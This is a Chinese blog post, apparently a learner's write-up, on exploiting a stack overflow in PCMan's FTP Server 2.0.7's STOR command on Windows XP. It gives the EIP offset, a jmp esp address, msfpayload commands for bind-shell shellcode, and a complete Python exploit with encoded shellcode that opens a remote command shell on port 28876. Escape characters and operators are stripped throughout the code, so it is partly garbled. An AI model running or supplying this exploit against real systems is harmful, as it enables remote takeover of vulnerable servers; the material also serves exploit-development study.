PCMAN FTP STOR命令栈溢出

2020-10-16 10:56:59 浏览数 (1)

PCMAN FTP STOR命令栈溢出

    继XX同学上个学期对PCMAN FTP这个软件进行了残暴的溢出测试(溢出点是FTP用户名,版本不清楚),我也开始学习逆向和溢出,谷歌上搜索pcman's ftp,找到了这个溢出exploit:http://www.exploit-db.com/exploits/27703/ 。作为我初学exp的试验工具~~

    pcman's ftp是一款运行在windows下的FTP软件,最新版本2.0.7,也就是我今天要测试的版本。所以介绍相关信息:

    OS:windows XP sp3 简体中文版(WIN7下我也试过,但因为ASLR没能绕过去,重启以后就不能用了,放弃了)

    soft version:2.0.7

    shellcode:msfpayload windows/shell_bind_tcp LPORT=28876 R | msfencode -a x86 -b 'x00xffx0ax0dx20x40' -t c

    point:pcman对stor命令长度判断存在缺陷,导致缓冲区溢出(在溢出字符串前加/../即可绕过)。但文中给出的exp不能正常使用,所以我们需要对其进行修改。

0x01 定位eip

    栈溢出原理就是覆盖了栈的返回地址。因为栈是从高地址向低地址延伸的,所以当产生溢出的时候,我们写在低地址的内容超出缓冲区大小,从而覆盖了高地址的eip的值,导致溢出。

    如上图是函数的栈,我们能控制的就是buffer[128],当我们输入的内容过长的时候,就能把后面的ebp、eip给覆盖掉。eip指向的是下一条待执行的语句地址,这样我们就能轻松执行自己的语句。

    所以第一步,我们需要知道buffer的长度是多少时才能覆盖到eip。

首先我们大概确定一下eip的位置。首先把expdb文章中给出的exp保存下来,将覆盖之前的垃圾数据A长度设置成1900:

    garbage= 'x41' * 1900

    发送发现没有出错,说明溢出点在1900字节以后,再把garbage改成2100,发现程序崩掉了。所以我确定溢出长度在1900-2100字节之间。当然这个范围是慢慢确定的,比如先试1000-5000,再试1500-2500,慢慢缩小范围。

    确定了一个大范围以后,我们借助到metasploit中的一个小脚本来完成这个任务:/opt/metasploit/apps/pro/msf3/tools/pattern_create.rb

    生成一个长度是200的pattern字符串(2100-1900==200),我们发送这样的一个数据包:

    STOR /../ A * 1900 pattern

    PCMAN接受到数据后就崩了,在windbg下可以看到此时的eip是0x41346441:

    我们再回到kali下使用pattern_offset来计算偏移:

    偏移是102,也就是说0x41346441这个值出现在了200个字符中的第102个,也就是eip在第102个。加上之前的1900,我们就精确计算出eip所在的位置:1900 102 == 2002.

    我们可以测试一下,发送 STOR  /../  B * 2002 A * 4,可以看到windbg获取的eip:

    41414141即为AAAA。

0x02 查找jmp esp

    知道了eip的位置,我们就来构造eip的值。eip是指向下一个执行的语句的地址,那么我们就可以直接把shellcode放在这个地方来执行shellcode了吧!!

    不过现实情况是,我们并不知道shellcode应该放在什么位置。而且在每台计算机上固定的地址都可能不相同,所以绝不能使用jmp 0x0a45e807这种方式跳转到shellcode。但是我们可以跳到一个寄存器指向的地址,比如esp。

    具体溢出基础原理不再赘述,总之我们可以把eip覆盖成jmp esp的地址。有前辈找到了一个对于windowsXP和2003(中文版)都通用的地址:0x7ffa4512。不过有句老话,通用的一定不是最好的。我们何不学会怎么自己在内存里找到这种地址?

    用windbg的s指令。首先我知道jmp esp的机器码是ff e4。接着,我选择在USER32.DLL这个模块中搜索。当然,最好的方式是,我们在程序自带的dll中搜索,因为这些dll通常没有ASLD等防御措施。(不过这个软件自带的dll里没找到ff e4)

    从上图可以看到user32.dll加载在77d10000-77da0000之间,所以搜索可以这样:

    s 77d10000 l 90000 ff e4 (从0x77d10000开始偏移90000)

    如图可以找到很多ff e4.我们就选择最上面一个:0x77d29353.

0x03 编写合适的shellcode

    这一步之前一直困扰我,之前编写用的一个shellcode一放进去就出错,后来用msfencode加工一遍以后就没问题了。以前只知道shellcode里不能有x00,现在才知道某些特殊字符也不能有,比如这个ftp协议stor命令,就可能不能有r、n、空格,所以还是用msf生成一个正向连接的cmdshell。

    msfpayload windows/shell_bind_tcp LPORT=28876 R | msfencode -a x86 -b 'x00xffx0ax0dx20x40' -t c

0x04 改写原文中的exp,溢出成功

    经过上面一长段分析,基本就可以开始编写exp了。原文中给出了exp,所以只要改写就行。(改偏移地址为2002,jmp esp地址为x53x93xd2x77,其他地方小改动)

代码语言:javascript复制
import socket, sys, os, time
if len(sys.argv) != 3:
        print "[*] Uso: %s <Ip Victima> <Puerto> n" % sys.argv[0]
        print "[*] Exploit created by Polunchis"
        print "[*] https://www.intrusionlabs.org"
        sys.exit(0)
target = sys.argv[1]
port = int(sys.argv[2])
#msfpayload windows/shell_bind_tcp LPORT=28876 R | msfencode -a x86 -b 'x00xffx0ax0dx20x40' -t c
shellcode = (
"xdaxcfxb8xbaxb3x1exe7xd9x74x24xf4x5ax33xc9xb1"
"x56x31x42x18x83xc2x04x03x42xaex51xebx1bx26x1c"
"x14xe4xb6x7fx9cx01x87xadxfax42xb5x61x88x07x35"
"x09xdcxb3xcex7fxc9xb4x67x35x2fxfax78xfbxefx50"
"xbax9dx93xaaxeex7dxadx64xe3x7cxeax99x0bx2cxa3"
"xd6xb9xc1xc0xabx01xe3x06xa0x39x9bx23x77xcdx11"
"x2dxa8x7dx2dx65x50xf6x69x56x61xdbx69xaax28x50"
"x59x58xabxb0x93xa1x9dxfcx78x9cx11xf1x81xd8x96"
"xe9xf7x12xe5x94x0fxe1x97x42x85xf4x30x01x3dxdd"
"xc1xc6xd8x96xcexa3xafxf1xd2x32x63x8axefxbfx82"
"x5dx66xfbxa0x79x22x58xc8xd8x8ex0fxf5x3bx76xf0"
"x53x37x95xe5xe2x1axf2xcaxd8xa4x02x44x6axd6x30"
"xcbxc0x70x79x84xcex87x7exbfxb7x18x81x3fxc8x31"
"x46x6bx98x29x6fx13x73xaax90xc6xd4xfax3exb8x94"
"xaaxfex68x7dxa1xf0x57x9dxcaxdaxeex99x04x3exa3"
"x4dx65xc0x33x42xe0x26xd9x4axa5xf1x75xa9x92xc9"
"xe2xd2xf0x65xbbx44x4cx60x7bx6ax4dxa6x28xc7xe5"
"x21xbax0bx32x53xbdx01x12x1ax86xc2xe8x72x45x72"
"xecx5ex3dx17x7fx05xbdx5ex9cx92xeax37x52xebx7e"
"xaaxcdx45x9cx37x8bxaex24xecx68x30xa5x61xd4x16"
"xb5xbfxd5x12xe1x6fx80xccx5fxd6x7axbfx09x80xd1"
"x69xddx55x1axaax9bx59x77x5cx43xebx2ex19x7cxc4"
"xa6xadx05x38x57x51xdcxf8x67x18x7cxa8xefxc5x15"
"xe8x6dxf6xc0x2fx88x75xe0xcfx6fx65x81xcax34x21"
"x7axa7x25xc4x7cx14x45xcd"
)
garbage= 'x41' * 2002
jmpesp = 'x53x93xd2x77' #or 7ffa4512
fixstack= 'x83xc4x9c'
nop='x90' * 4
buffer = garbage   jmpesp   nop   fixstack   shellcode
vulparameter= '/../'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "[ ] Connect to %s on port %d" % (target,port)
try:
    s.connect((target,port))
    s.recv(1024)
    s.send('USER anonymousrn') 
    s.recv(1024)
    s.send('PASS polunchisrn')
    s.recv(1024)
    s.send("STOR "   vulparameter   buffer   "rn")
    print "[ ] Sending payload of size", len(buffer) 
    s.close()
    print "[ ] Exploit Sent Successfully"
    print "[ ] Waiting for 5 sec before spawning shell to "   target   ":28876r"
    print "r"
    time.sleep(5)
    #os.system ("nc -n "   target   " 28876")
    print "[ ] Then you can test nc.exe -n "   target   " 28876 r"
except:
    print "[-] Could not connect to "   target   ":21r"
    sys.exit(0) 

    发送成功:

    因为是正向连接cmdshell,所以用nc连接一下成功:

    发送的数据中有一个fixstack字段,机器码的意思是add esp, ffffffc4,也就是esp = esp - 100H。我问了学长,是为了提高栈,避免shellcode中局部变量把代码破坏了……其实具体原理还是不太懂,以后再细细研究~

    对PCMAN FTP的研究到一段落了,但溢出的冰山一角才开始出现在我眼前,再接再厉。

    PCMAN FTP下载,在附件中。

    附件:PCMans_FTP_Server_2.0.rar

0 人点赞